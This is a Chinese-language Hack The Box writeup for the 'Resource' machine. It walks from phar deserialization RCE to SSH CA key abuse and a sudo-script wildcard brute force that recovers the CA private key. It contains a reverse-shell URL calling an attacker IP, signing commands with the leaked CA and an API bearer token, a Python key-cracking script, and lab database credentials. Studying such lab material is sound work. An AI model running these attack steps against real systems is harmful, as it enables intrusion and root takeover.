Hack The Box-Resource

news2024/9/27 17:31:50

总体思路

phar反序列化->SSH CA私钥泄露->SSH CA私钥滥用->SSH脚本滥用

信息收集&端口利用

nmap -sSVC itrc.ssg.htb

在这里插入图片描述

目标开放了两个ssh端口和一个80端口,先查看80端口

在这里插入图片描述

网站是一个SSG IT资源中心,主要用于解决网站问题、管理 SSH 访问、清除病毒和解决各种安全问题的权威一站式商店。

后台挂着目录扫描,先看看界面

界面上有登录和注册按钮,注册一个用户,查看能否直接登录

在这里插入图片描述

在这里插入图片描述

登录进来后是一个存储票据的界面,此时目录扫描结果也出来了

在这里插入图片描述

想到当前url为http://itrc.ssg.htb/index.php?page=dashboard,考虑可以拼接已扫出来的目录

访问admin界面

在这里插入图片描述

看到一个提示说,需要联系zzinter用户,放到后边再看

在这里插入图片描述

还有一个用于验证主机存活的接口

在这里插入图片描述

查看下方的tickets,随意单击一个票据查看,首先会跳转到http://itrc.ssg.htb/?page=ticket&id=5界面,然后提示票据不可用

在这里插入图片描述

目前没有别的信息,单击New Ticket按钮创建新的票据

在这里插入图片描述

他的接口为create_ticket,这里需要上传压缩包,先上传一个空的zip后缀文件查看

在这里插入图片描述

报错信息中提到了两个函数:ZipArchive::open()、hash_file

ZipArchive::open()
用于打开上传的zip文件

hash_file
计算文件的hash值

上传完毕后回到界面,能看到刚刚上传的信息,并且添加评论等等

在这里插入图片描述

phar反序列化

www-data

在刚刚的报错信息中,能够得到网站的目录为/var/www/itrc,这里如果访问之前获得的api/create_ticket.php,会得到服务器的响应,但是只能访问没有后缀的PHP文件

在这里插入图片描述

从LFI漏洞中,我们可以测试一些协议,例如file://、dict://、phar://,他会触发LFI漏洞,意味着我们能够使用协议来触发上传的资源

可以测试http://itrc.ssg.htb/index.php?page=file:///var/www/itrc/api/create_ticket,以验证和刚刚相同的效果

在这里插入图片描述

由于它是PHP服务器,这里尝试使用phar反序列化攻击,创建一个用于RCE的PHP代码,并将其压缩后上传

需要注意的是PHP代码中前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

在这里插入图片描述

在这里插入图片描述

上传完成后,发现该文件的名称被重命名,不过不影响后面的操作,重命名的格式是根据zip文件的内容,将其进行SHA-1加密,可以使用sha1sum验证

在这里插入图片描述

在这里插入图片描述

使用phar://协议访问刚刚上传的shell文件

在这里插入图片描述

在这里插入图片描述

现在现在可以做到远程命令执行,制作一段反弹shell,并发送

#/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.7/9000 0>&1'
http://itrc.ssg.htb/?page=phar://uploads/[sha1sum].zip/shell&cmd=/bin/bash+-c+%27/bin/bash+-i+%3E%26+/dev/tcp/10.10.16.7/9000+0%3E%261%27

在这里插入图片描述

拿到www-data用户

msainristil@itrc

在之前的目录扫描时候发现还存在db.php,查看它

#db.php
<?php

$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);

try {
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());
}

虽然有数据库的登录凭证,但是发现登录不了

通过查看home目录,我们能够知道下一个目标为zzinter和msainristil

在uploads目录下有若干个文件,其中不仅有我们上传的,也有系统本身自带的,使用zipgrep来枚举敏感信息

for zipfile in *.zip; do zipgrep "zzinter" "$zipfile"; done
for zipfile in *.zip; do zipgrep "msainristil" "$zipfile"; done

在这里插入图片描述

得到了msainristil用户的登录凭证

在这里插入图片描述

SSH CA私钥泄露

在decommission_old_ca文件夹下,有一对RSA密钥,是一个CA私钥

在这里插入图片描述

SSH CA私钥滥用

CA私钥是证书颁发机构在颁发数字证书过程中使用的重要密钥,这些证书可以验证用户的身份并在网络内建立信任

CA私钥(ca-itrc)可以签署其他公钥,从而创建系统信任的证书,使用命令ssh-keygen -y -f ca-itrc即可生成ca-itrc.pub,该pub文件不包含任何用户的身份信息,只是密钥对中的公钥,可以验证相应的私钥签名。可以使用CA私钥创建并签名公钥,然后检查证书

有了CA私钥,接下去使用CA 私钥签署公钥以创建SSH证书,一般涉及以下几个步骤:首先,‌生成CA的私钥和公钥。‌然后,‌为需要证书的用户或系统生成SSH密钥对(‌私钥和公钥)‌。‌接着,‌用户将公钥提交给CA。‌CA使用其私钥签署用户的公钥,‌生成SSH证书。‌最后,‌用户将SSH证书和私钥一起使用,‌进行认证。‌

zzinter@itrc

具体步骤如下

#新建密钥对
ssh-keygen -t rsa -b 2048 -f b3rry

#使用CA私钥对公钥进行签名,并生成证书,指定zzinter为有效的用户名
ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter b3rry.pub

#检查生成的证书
ssh-keygen -Lf b3rry-cert.pub

#使用证书,以zzinter身份去登录到主机
ssh -o CertificateFile=b3rry-cert.pub -i b3rry zzinter@localhost

在这里插入图片描述

查看当前文件夹下的内容

在这里插入图片描述

root@itrc

发现有一个脚本只能root用户执行,使用刚才的方法,生成root的登录证书

ssh-keygen -t rsa -b 2048 -f root
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root root.pub
ssh -o CertificateFile=root-cert.pub -i root root@localhost

在这里插入图片描述

该root目录下并没有我们想要的文件,猜测可能是一个容器,查看端口连接状况

netstat -anltp

在这里插入图片描述

从中能够看到,,目前我们连接到的是172.223.0.3,更加确定他是一个容器

SSH脚本滥用

support@ssg

回到之前zzinter目录下,有一个sign_key_api.sh的文件,现在来查看它

#sign_key_api.sh

#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

分析代码可知,运行该脚本需要三个参数,调用了signserv.ssg.htb上的服务,使用特定主体对SSH公钥进行签名

脚本说明中介绍了4个主体,即webserver、analytics、support、security,以及它们对应的用户名,只有support成对出现才会起作用

还是和之前一样,先创建一个密钥对,然后使用脚本对其公钥进行签名

ssh-keygen -t rsa -b 2048 -f support
chmod 600 support
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[support.pub]", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

运行完毕后,会生成support-cert.pub文件,将其和之前的密钥对都复制出来

在这里插入图片描述

由于端口22是用于主机的itrc,我们可以尝试使用私钥key登录2222端口

ssh -o CertificateFile=support-cert.pub -i support support@ssg.htb -p 2222

在这里插入图片描述

查看当前主机存在的用户

在这里插入图片描述

zzinter@ssg

发现还需要提权到zzinter用户

虽然我们根据shell脚本测试了这4个主体,但当然可以有更多的主体供我们以其他用户身份登录以继续进行

对于/etc/ssh/auth_principals目录,其与OpenSSH的证书颁发机构 (CA) 功能结合使用。它包含以用户帐户命名的文件,每个文件都列出了允许以该用户身份进行身份验证的身份

在这里插入图片描述

我们找到了zzinter主体所对应的用户名,再和之前一样,先生成密钥对,再使用该主体、用户名和公钥生成证书并登录

ssh-keygen -t rsa -b 2048 -f zzinter && chmod 600 zzinter
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[zzinter.pub]", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
chmod 600 zzinter-cert.pub
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@ssg.htb -p 2222

在这里插入图片描述

既然能够使用此方法登录到zzinter用户,在主体中也包含了root_user和对应的root用户名,那么是否也能够给root的公钥签名,使用证书登陆呢

尝试运行以下命令

ssh-keygen -t rsa -b 2048 -f root && chmod 600 root
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[root.pub]", "username": "root", "principals": "root_user"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

在这里插入图片描述

发现无法认证,认证中的密钥拒绝对root用户使用

root@ssg

那么查看当前用户可执行权限

在这里插入图片描述

可以不需要密码以root身份执行/opt/sign_key.sh,查看脚本内容

#/opt/sign_key.sh

#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

这个脚本允许我们使用CA签署公钥,并且脚本会检查提供的CA是否和/etc/ssh/ca-it相匹配,若相同,则会退出

该脚本的主要命令为

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

-s "$ca_file":指定用于签名的CA密钥
-z "$serial":证书的序列号
-I "$username":证书的身份
-V -1w:forever:指定有效期(从1周前至永远)
-n "$principals":指定证书允许的主体
"$public_key_name":需要签名的公钥文件

此时如果我们想使用密钥ca-it签署RSA,系统会调用signserv Web应用程序上的 API。但是在脚本中,若这两个API相同,则会禁止使用该密钥(这就是为什么最开始不成功的原因?)。因此,我们需要尝试在本地找到有效的CA密钥来为root用户和相应的主体进行签名

在bash脚本中,很容易会受到通配符*的攻击,因为他可以代表任意字符,导致能够轻易的通过一些判断语句

--------------------------------------更新分界线---------------------------------------------

使用一段脚本来爆破

import subprocess

#定义SSH私钥格式
startssh = "-----BEGIN OPENSSH PRIVATE KEY-----"
endssh = "-----END OPENSSH PRIVATE KEY-----"
base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
Pas = []
line= 0

#运行脚本,使用通配符*对每一个私钥字节进行爆破
while True:
    for char in base64chars:
        JudgeKey = f"{startssh}\n{''.join(Pas)}{char}*"
        with open("crackca", "w") as f:
            f.write(JudgeKey)
        proc = subprocess.run(
            ["sudo", "/opt/sign_key.sh", "crackca", "root.pub", "root", "root_user", "9"],
            capture_output=True
        )
        if proc.returncode == 1:
            Pas.append(char)
            #根据SSH私钥格式,每70个字符进行换行
            if (len(Pas) - line) % 70 == 0 and len(Pas) > 0:
                Pas.append("\n")
                line = line + 1
            break
    else:
        break

Rca = f"{startssh}\n{''.join(Pas)}\n{endssh}\n"

print(Rca)

创建完脚本后,先生成crackca密钥对

ssh-keygen -t rsa -b 2048 -f root

再使用此脚本和crackca公钥进行爆破

在这里插入图片描述

爆破出了ca私钥,再按照格式使用此私钥对生成的公钥进行授权

ssh-keygen -s ca -z 1111 -I root -V -1w:forever -n root_user root.pub

在这里插入图片描述

最后使用认证过的证书和私钥登录到root用户

ssh -o CertificateFile=root-cert.pub -i root root@localhost -p 2222

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1988701.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

免费【2024】springboot 付费自习室管理系统的设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

正点原子imx6ull-mini-Linux驱动之Linux 音频驱动实验

虽然mini板子没有这个资源&#xff0c;但是可以学学移植这个软件。 音频是我们最常用到的功能&#xff0c;音频也是 linux 和安卓的重点应用场合。I.MX6ULL 带有 SAI 接口&#xff0c;正点原子的 I.MX6ULL ALPHA 开发板通过此接口外接了一个 WM8960 音频 DAC 芯片&#xff0c;…

《程序猿入职必会(10) · SpringBoot3 整合 MyBatis-Plus》

&#x1f4e2; 大家好&#xff0c;我是 【战神刘玉栋】&#xff0c;有10多年的研发经验&#xff0c;致力于前后端技术栈的知识沉淀和传播。 &#x1f497; &#x1f33b; CSDN入驻不久&#xff0c;希望大家多多支持&#xff0c;后续会继续提升文章质量&#xff0c;绝不滥竽充数…

使用samba在ubuntu和windows之间共享文件

1、在ubuntu上安装samba 在终端输入命令 sudo apt update sudo apt install samba 2、配置samba 打开samba 的配置文件 sudo nano /etc/samba/smb.conf 在文件末尾添加以下内容 [shared] path /home/lzx available yes valid users lzx read only no browsable yes…

【Redis进阶】Redis的持久化RDB和AOF

目录 持久化 RDB持久化 概念 原理 RDB 持久化的详细工作流程 1触发持久化&#xff1a; 2创建子进程&#xff1a; 3数据写入 RDB 文件&#xff1a; 4替换旧文件&#xff1a; 5回收子进程&#xff1a; RDB持久化的触发方式 1.手动触发&#xff1a; 2.自动触发&#…

鸿蒙应用服务开发【获取天气数据】

获取天气数据 介绍 Weather Service Kit&#xff08;天气服务&#xff09;是鸿蒙生态下的一个数据提供服务&#xff0c; Weather Service Kit融合了多家气象行业TOPs供应商&#xff0c;提供专业、精准、稳定的超本地化天气数据服务&#xff0c; 开发者可以通过Weather Servic…

Tomcat 漏洞

1.CVE-2017-12615 抓包&#xff0c;将get改为put jsp文件后加/ 访问木马使用蚁剑连接 2.弱口令 点击后输入默认用户名、密码&#xff1a;tomcat/tomcat 登录成功&#xff0c;在文件上传位置上传war包 使用哥斯拉生成一个jsp木马&#xff0c;打包&#xff0c;改后缀为war,上传…

如何有效防御短信接口遭受恶意攻击?

短信接口若遭遇恶意攻击&#xff0c;不仅加剧企业运营成本&#xff0c;更将严重损害企业形象。为有效预防此类风险&#xff0c;以下策略值得采纳&#xff1a; 1.设定合理的发送间隔&#xff1a;针对同一手机号码&#xff0c;设定合理的重复发送短信时间间隔&#xff0c;建议范…

Unity动态修改按钮点击效果

动态修改按钮色块&#xff0c;达到保留选中效果。 using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI;public class Demo: MonoBehaviour {private Button _frontBtn;private Button _backBtn;public ColorBlock NormalC…

【React】深入解析ref的使用与潜在问题

文章目录 一、ref的基本用法二、常见错误解析三、实例解析四、错误分析与解决五、注意事项六、总结 在React开发中&#xff0c;ref常用于访问DOM元素或组件实例。正确使用ref可以极大地提升用户体验&#xff0c;特别是在需要与DOM交互的场景中。然而&#xff0c;错误或不当的re…

奥运会Ⅷ--生成式人工智能的力量倍增器

生成式人工智能在商业领域的崭新时代 随着 OpenAI 的ChatGPT、Anthropic 的Claude和 Google 的Bard的推出&#xff0c;大规模文本分析和自然语言处理 (NLP) 的长期梦想瞬间成为现实。AI 不仅令人信服地通过了图灵测试&#xff0c;还催化了企业战略的范式转变。突然之间&#x…

8.5 day bug

bug1 没有适当的引号&#xff0c;引言就不是真正的引言 问了通义&#xff0c;原来用引言需要使用单引号括起来 bug2 没理解题意&#xff0c;挺好一网站可惜是英文的&#xff0c;顺便帮翻译还没反馈渠道帮… 问了通义&#xff0c;原来是要改变continueLoop的值 bug3 好家伙&a…

ts-node报错ERR_UNKNOWN_FILE_EXTENSION

问题 有个monorepo项目&#xff0c;在最外层一次性打包 3 个项目的脚本已经成功实现&#xff0c;如下&#xff1a; "build:test": "cross-env NODE_ENVtest vite build --mode test && esno ./build/script/postBuild.ts", "build:prod"…

一行代码实现图片懒加载?分享 1 段优质 HTML 代码片段!

本内容首发于工粽号&#xff1a;程序员大澈&#xff0c;每日分享一段优质代码片段&#xff0c;欢迎关注和投稿&#xff01; 大家好&#xff0c;我是大澈&#xff01; 本文约 700 字&#xff0c;整篇阅读约需 1 分钟。 今天分享一段优质 HTML 代码片段&#xff0c;只需一行代码…

MBD软件开发之数据管理

模块化开发中&#xff0c;模型集成和代码集成是很多工程师非常关心的问题。 常见的代码集成方式有两种&#xff0c;一是单元级模型上生成代码&#xff0c;在代码上做集成&#xff0c;一是模型集成之后&#xff0c;再去生成集成级别的代码。无论采用哪种方式&#xff0c;模型级…

网络端口转发

一. 如图网络拓扑 光猫改桥接之前光猫自身也会有一层局域网&#xff0c;光猫ip为局域网额的192.168.1.1 当改桥接之后&#xff0c;只有一层路由器的局域网&#xff0c;路由器为局域网的192.168.31.1 此时从公网对内网进行访问时&#xff0c;先访问到路由器的公网ip的某个端口…

从零开始搭建监控系统 (二)

从零开始搭建监控系统 (二) 监控系统架构 部署 文件目录 rootchuango:/opt/prometheus# tree -L 1 . ├── docker-compose.yml ├── grafana_data ├── grafana.ini ├── prometheus_data └── prometheus.yml # grafana_data, prometheus_data 2个文件为空目录do…

下载安装ansible后,缺失pyyaml,pip安装时又出错,升级时又由于时Python2.7,不好升级遇到的一系列问题。

经过上一篇文章&#xff0c;我虽然误删了CentOs自带的python和yum&#xff0c;但是我重新将他们恢复了。这里记住默认的python版本是2.7.5。 我使用yum安装好ansible后&#xff0c;检查我的ansible版本的时候&#xff0c;发生了错误&#xff0c;提示没有yaml模块。 1 验证ans…

js事件循环机制(宏微任务队列都是先进先出)

文章目录 1.什么是事件循环2.主线程、任务队列、同步任务、异步任务、微任务、宏任务&#xff08;1&#xff09;主线程&#xff08;2&#xff09;同步任务&#xff08;3&#xff09;异步任务&#xff08;微任务、宏任务&#xff09;&#xff08;4&#xff09;任务队列 3.执行流…